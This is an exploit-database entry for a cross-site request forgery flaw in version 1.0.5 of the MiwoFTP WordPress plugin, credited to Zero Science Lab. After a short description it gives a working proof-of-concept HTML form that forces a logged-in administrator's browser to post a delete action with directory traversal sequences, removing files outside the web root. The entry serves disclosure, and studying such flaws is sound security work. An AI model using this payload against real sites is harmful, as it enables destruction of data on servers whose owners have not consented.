WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Deletion Exploit

2015.04.14
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Deletion Exploit Vendor: Miwisoft LLC Product web page: http://www.miwisoft.com Affected version: 1.0.5 Summary: MiwoFTP is a smart, fast and lightweight file manager plugin that operates from the back-end of WordPress. Desc: Input passed to the 'selitems[]' parameter is not properly sanitised before being used to delete files. This can be exploited to delete files with the permissions of the web server using directory traversal sequences passed within the affected POST parameter. Tested on: Apache 2.4.10 (Win32) PHP 5.6.3 MySQL 5.6.21 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5240 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5240.php Vendor: http://miwisoft.com/wordpress-plugins/miwoftp-wordpress-file-manager#changelog 24.03.2015 -- <html> <body> <form action="http://localhost/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=post" method="POST"> <input type="hidden" name="do_action" value="delete" /> <input type="hidden" name="first" value="y" /> <input type="hidden" name="selitems[]" value="../../../../../pls_mr_jailer_dont_deleteme.txt" /> <input type="submit" value="Gently" /> </form> </body> </html>

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5240.php
http://miwisoft.com/wordpress-plugins/miwoftp-wordpress-file-manager#changelog


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